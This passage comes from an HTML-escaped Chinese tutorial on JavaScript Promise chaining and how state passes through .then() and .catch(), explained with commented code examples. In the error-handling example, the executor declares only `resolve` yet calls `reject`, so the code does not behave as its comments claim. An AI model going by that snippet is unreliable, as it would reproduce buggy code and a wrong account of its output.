aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x8282;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x8282;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x8282;</h3>\n<p>&#x603B;&#x7684;&#x6765;&#x8BF4;&#xFF0C;Promise &#x901A;&#x8FC7;&#x4E00;&#x7CFB;&#x5217;&#x7279;&#x6027;&#x89E3;&#x51B3;&#x4E86;&#x8FC7;&#x53BB;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x5F53;&#x4E2D;&#x5B58;&#x5728;&#x7684;&#x53EF;&#x9760;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x4F7F;&#x5F97;&#x6211;&#x4EEC;&#x80FD;&#x591F;&#x4EE5;&#x4E00;&#x79CD;&#x66F4;&#x4E3A;&#x7B80;&#x5355;&#x800C;&#x89C4;&#x6574;&#x7684;&#x65B9;&#x5F0F;&#x53BB;&#x83B7;&#x53D6;&#x548C;&#x7BA1;&#x7406;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x3002;</p>\n<h2 id=\"promise-&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><a name=\"promise-&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\" class=\"plugin-anchor\" href=\"#promise-&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;</h2>\n<p>&#x5728;&#x5F00;&#x7BC7; Promise &#x7684;&#x6F14;&#x793A;&#x5F53;&#x4E2D;&#x4E00;&#x4E2A;&#x6700;&#x4E3A;&#x4EAE;&#x773C;&#x7684;&#x7279;&#x70B9;&#x5C31;&#x662F;&#xFF0C;&#x901A;&#x8FC7;&#x4E00;&#x8FDE;&#x4E32;&#x7684; <code>.then()</code> &#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x6765;&#x5B9E;&#x73B0;&#x591A;&#x4E2A;&#x5F02;&#x6B65;&#x65B9;&#x6CD5;&#x7684;&#x987A;&#x5E8F;&#x6267;&#x884C;&#x95EE;&#x9898;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">run1</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run2<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run3<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run4<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x51FA;&#x9519;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x90A3;&#x4E48;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x5C06;&#x4ECE; <code>.then()</code> &#x51FA;&#x53D1;&#xFF0C;&#x4E00;&#x6B65;&#x4E00;&#x6B65;&#x5730;&#x5F04;&#x660E;&#x767D;&#x5176;&#x4E2D;&#x7684; Promise &#x4F20;&#x9012;&#x8FC7;&#x7A0B;&#xFF0C;&#x5E76;&#x6700;&#x7EC8;&#x7406;&#x89E3; Promise &#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x673A;&#x5236;&#x3002;</p>\n<h3 id=\"promiseprototypethen\"><a name=\"promiseprototypethen\" class=\"anchor-navigation-ex-anchor\" href=\"#promiseprototypethen\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promiseprototypethen\" class=\"plugin-anchor\" href=\"#promiseprototypethen\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise.prototype.then</h3>\n<p><code>.then(onFulfilled, onRejected)</code> &#x662F; Promise &#x7684;&#x539F;&#x578B;&#x94FE;&#x65B9;&#x6CD5;&#xFF0C;&#x7528;&#x4E8E;&#x6CE8;&#x518C; Promise &#x5BF9;&#x8C61;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x65F6;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x3002;&#x5B83;&#x63A5;&#x53D7;&#x4E24;&#x4E2A;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;&#xFF0C;&#x5206;&#x522B;&#x5728; Promise &#x53D8;&#x66F4;&#x4E3A;&#x4E0D;&#x540C;&#x72B6;&#x6001;&#x65F6;&#x89E6;&#x53D1;&#xFF0C;&#x5176;&#x4E2D; <code>onRejected</code> &#x53EF;&#x4EE5;&#x7F3A;&#x7701;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\">promise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>\n  <span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<p><code>.then()</code> &#x65B9;&#x6CD5;&#x4F1A;&#x521B;&#x5EFA;&#x5E76;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x65B0;&#x7684; Promise &#x5BF9;&#x8C61;&#xFF08;&#x7528; p2 &#x6307;&#x4EE3;&#xFF0C;&#x5F53;&#x524D;&#x76D1;&#x542C;&#x7684; Promise &#x5BF9;&#x8C61;&#x7528; p1 &#x6307;&#x4EE3;&#xFF09;&#xFF0C;&#x7528;&#x4E8E;&#x8868;&#x5F81;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x6267;&#x884C;&#x60C5;&#x51B5;&#x3002;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x6EE1;&#x8DB3;&#x5982;&#x4E0B;&#x89C4;&#x5219;&#xFF1A;</p>\n<ul>\n<li>p1 &#x7684;&#x72B6;&#x6001;&#x53EA;&#x51B3;&#x5B9A;&#x4E86;&#x4F55;&#x65F6;&#x6267;&#x884C;&#x56DE;&#x8C03;&#x4EE5;&#x53CA;&#x6267;&#x884C;&#x90A3;&#x79CD;&#x7C7B;&#x578B;&#x7684;&#x56DE;&#x8C03;&#xFF0C;&#x5E76;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD;&#x5230; p2 &#x72B6;&#x6001;&#xFF1B;</li>\n<li>p2 &#x7684;&#x521D;&#x59CB;&#x72B6;&#x6001;&#x4E3A; &apos;pending&apos;&#xFF0C;&#x5F53;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x6267;&#x884C;&#x6210;&#x529F;&#x65F6;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; &apos;fulfilled&apos;&#xFF0C;&#x5982;&#x679C;&#x56DE;&#x8C03;&#x6267;&#x884C;&#x8FC7;&#x7A0B;&#x629B;&#x51FA;&#x5F02;&#x5E38;&#x5219;&#x53D8;&#x66F4;&#x4E3A; &apos;rejected&apos;&#xFF1B;</li>\n<li>&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x8FD4;&#x56DE;&#x503C; value &#x5C06;&#x4F5C;&#x4E3A; p2 &#x89E6;&#x53D1;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x65F6; <code>resolve(value)</code> &#x7684;&#x53C2;&#x6570;&#x5C06;&#x5176;&#x4F20;&#x9012;&#x4E0B;&#x53BB;&#x3002;</li>\n</ul>\n<p>&#x8FD9;&#x91CC;&#x5B58;&#x5728;&#x4E00;&#x4E2A;&#x6709;&#x610F;&#x601D;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x7531;&#x4E8E;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x53EF;&#x4EE5;&#x8FD4;&#x56DE;&#x4EFB;&#x4F55;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x56E0;&#x6B64;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; Promise &#x5BF9;&#x8C61;&#x4E5F;&#x662F;&#x53EF;&#x884C;&#x7684;&#x3002;&#x6211;&#x4EEC;&#x5728;&#x8FD9;&#x91CC;&#x7528; p3 &#x6765;&#x6307;&#x4EE3;&#x8FD9;&#x4E2A; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#x9996;&#x5148;&#x660E;&#x786E; p2 &#x4E0E; p3 &#x4E24;&#x4E2A;&#x4E0D;&#x540C;&#x7684; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x4F46;&#x662F; p2 &#x4E0E; p3 &#x7684;&#x72B6;&#x6001;&#x662F;&#x4E00;&#x81F4;&#x7684;&#xFF0C;&#x8FD9;&#x91CC;&#x7684;&#x201C;&#x4E00;&#x81F4;&#x201D;&#x5305;&#x62EC;&#x6700;&#x7EC8;&#x7684;&#x72B6;&#x6001;&#x3001;&#x72B6;&#x6001;&#x89E6;&#x53D1;&#x7684;&#x65F6;&#x673A;&#x4EE5;&#x53CA;&#x8FD4;&#x56DE;&#x503C;&#x7684;&#x4E00;&#x81F4;&#x6027;&#x3002;&#x6211;&#x4EEC;&#x6765;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;[p1]&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>p1<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370; false</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>p1 <span class=\"token operator\">===</span> p2<span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370; &#x201C;[p1]&#x201D;</span>\np2<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<ul>\n<li>&#x5F53; p1 &#x9700;&#x8981;&#x8C03;&#x7528;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E0D;&#x5B58;&#x5728;&#x65F6;&#xFF0C;&#x5219;&#x4F1A;&#x8C03;&#x7528; p2 &#x7684; <code>resolve(p1)</code> &#x65B9;&#x6CD5;&#xFF0C;&#x5C06;&#x8FD9;&#x4E2A;&#x72B6;&#x6001;&#x6301;&#x7EED;&#x4F20;&#x9012;&#x4E0B;&#x53BB;&#xFF1B;</li>\n</ul>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x4EA7;&#x751F;&#x4E00;&#x4E2A; rejected &#x72B6;&#x6001;&#x7684; Promise &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;[p1]&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x5F53;&#x524D;&#x6CE8;&#x518C;&#x7684; onFulfilled &#x56DE;&#x8C03;&#x4E0D;&#x4F1A;&#x89E6;&#x53D1;</span>\n<span class=\"token comment\">// &#x540C;&#x65F6; onRejected &#x56DE;&#x8C03;&#x5E76;&#x672A;&#x6CE8;&#x518C;&#xFF0C;&#x56E0;&#x6B64; p1 &#x7684;&#x72B6;&#x6001;&#x4F1A;&#x7EE7;&#x7EED;&#x5411;&#x4E0B;&#x4F20;&#x9012;&#xFF1A;</span>\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> p1<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370; &apos;[p1]&apos;</span>\np2<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4EE5;&#x4E0A;&#x8FD9;&#x4E9B;&#x5C31;&#x7ED9;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x63D0;&#x4F9B;&#x4E86;&#x53EF;&#x4F20;&#x9012;&#x6027;&#xFF0C;&#x4E3A; Promise &#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x63D0;&#x4F9B;&#x4E86;&#x72B6;&#x6001;&#x4F20;&#x9012;&#x7684;&#x57FA;&#x7840;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x901A;&#x8FC7;&#x4E00;&#x4E9B;&#x4F8B;&#x5B50;&#x6765;&#x8BF4;&#x660E; <code>.then()</code> &#x65B9;&#x6CD5;&#x5728;&#x4E0D;&#x540C;&#x60C5;&#x51B5;&#x4E0B;&#x7684;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x3002;</p>\n<h4 id=\"1-&#x6B63;&#x5E38;&#x987A;&#x5E8F;&#x6267;&#x884C;\"><a name=\"1-&#x6B63;&#x5E38;&#x987A;&#x5E8F;&#x6267;&#x884C;\" class=\"anchor-navigation-ex-anchor\" href=\"#1-&#x6B63;&#x5E38;&#x987A;&#x5E8F;&#x6267;&#x884C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"1-&#x6B63;&#x5E38;&#x987A;&#x5E8F;&#x6267;&#x884C;\" class=\"plugin-anchor\" href=\"#1-&#x6B63;&#x5E38;&#x987A;&#x5E8F;&#x6267;&#x884C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>1. &#x6B63;&#x5E38;&#x987A;&#x5E8F;&#x6267;&#x884C;</h4>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x83B7;&#x53D6;&#x521D;&#x59CB; promise &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// onFulfilled &#x56DE;&#x8C03;&#x6267;&#x884C;&#x5B8C;&#x6210;</span>\n<span class=\"token comment\">// &#x56E0;&#x6B64; p1 &#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; &apos;fulfilled&apos;</span>\n<span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> promise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> result <span class=\"token operator\">+</span> <span class=\"token string\">&apos;[1]&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6253;&#x5370;&#x201C;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;[1]&#x201D;</span>\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> p1<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h4 id=\"2-&#x9519;&#x8BEF;&#x5904;&#x7406;\"><a name=\"2-&#x9519;&#x8BEF;&#x5904;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#2-&#x9519;&#x8BEF;&#x5904;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"2-&#x9519;&#x8BEF;&#x5904;&#x7406;\" class=\"plugin-anchor\" href=\"#2-&#x9519;&#x8BEF;&#x5904;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>2. &#x9519;&#x8BEF;&#x5904;&#x7406;</h4>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x83B7;&#x53D6;&#x521D;&#x59CB; promise &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x89E6;&#x53D1;&#x6267;&#x884C;&#x5931;&#x8D25;</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5931;&#x8D25;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6253;&#x5370;&#x201C;&#x6267;&#x884C;&#x5931;&#x8D25;&#x201D;</span>\n<span class=\"token comment\">// &#x540C;&#x65F6;&#x7531;&#x4E8E; onRejected &#x56DE;&#x8C03;&#x6267;&#x884C;&#x5B8C;&#x6210;</span>\n<span class=\"token comment\">// p1 &#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; &apos;fulfilled&apos;</span>\n<span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> promise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370; undefined&#xFF0C;&#x56E0;&#x4E3A; p1 &#x6CE8;&#x518C;&#x7684;&#x56DE;&#x8C03;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x8FD4;&#x56DE;</span>\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> p1<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h4 id=\"3-&#x6267;&#x884C;&#x56DE;&#x8C03;&#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;\"><a name=\"3-&#x6267;&#x884C;&#x56DE;&#x8C03;&#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;\" class=\"anchor-navigation-ex-anchor\" href=\"#3-&#x6267;&#x884C;&#x56DE;&#x8C03;&#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"3-&#x6267;&#x884C;&#x56DE;&#x8C03;&#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;\" class=\"plugin-anchor\" href=\"#3-&#x6267;&#x884C;&#x56DE;&#x8C03;&#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>3. &#x6267;&#x884C;&#x56DE;&#x8C03;&#x65F6;&#x629B;&#x51FA;&#x5F02;&#x5E38;</h4>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x83B7;&#x53D6;&#x521D;&#x59CB; promise &#x5BF9;&#x8C61;</span>\n<span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x89E6;&#x53D1;&#x6267;&#x884C;&#x6210;&#x529F;</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// 1 &#x79D2;&#x540E;&#x6267;&#x884C;&#x56DE;&#x8C03;&#x5E76;&#x629B;&#x51FA;&#x5F02;&#x5E38;</span>\n<span class=\"token comment\">// &#x6B64;&#x65F6; p1 &#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; &apos;rejected&apos;</span>\n<span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> promise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">throw</span> <span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5F02;&#x5E38;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370;&#x201C;&#x6267;&#x884C;&#x5F02;&#x5E38;&#xFF01;&#x201D;&#x5E76;&#x8FD4;&#x56DE;&#x5B57;&#x7B26;&#x4E32;</span>\n<span class=\"token comment\">// &#x7531;&#x4E8E;&#x8BE5;&#x56DE;&#x8C03;&#x6267;&#x884C;&#x5B8C;&#x6210;&#x56E0;&#x6B64; p2 &#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; &apos;fulfilled&apos;</span>\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> p1<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">.</span>message<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token string\">&apos;&#x6062;&#x590D;&#x6B63;&#x5E38;&#xFF01;&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370;&#x201C;&#x6062;&#x590D;&#x6B63;&#x5E38;&#xFF01;&#x201D;</span>\n<span class=\"token comment\">// &#x540C;&#x65F6; p3 &#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; &apos;fulfilled&apos;</span>\n<span class=\"token keyword\">let</span> p3 <span class=\"token operator\">=</span> p2<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h4 id=\"4-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x8FD4;&#x56DE;-promise-&#x5BF9;&#x8C61;\"><a name=\"4-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x8FD4;&#x56DE;-promise-&#x5BF9;&#x8C61;\" class=\"anchor-navigation-ex-anchor\" href=\"#4-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x8FD4;&#x56DE;-promise-&#x5BF9;&#x8C61;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"4-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x8FD4;&#x56DE;-promise-&#x5BF9;&#x8C61;\" class=\"plugin-anchor\" href=\"#4-&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x8FD4;&#x56DE;-promise-&#x5BF9;&#x8C61;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>4. &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x8FD4;&#x56DE; Promise &#x5BF9;&#x8C61;</h4>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x521D;&#x59CB; Promise &#x5BF9;&#x8C61;&#xFF0C;2 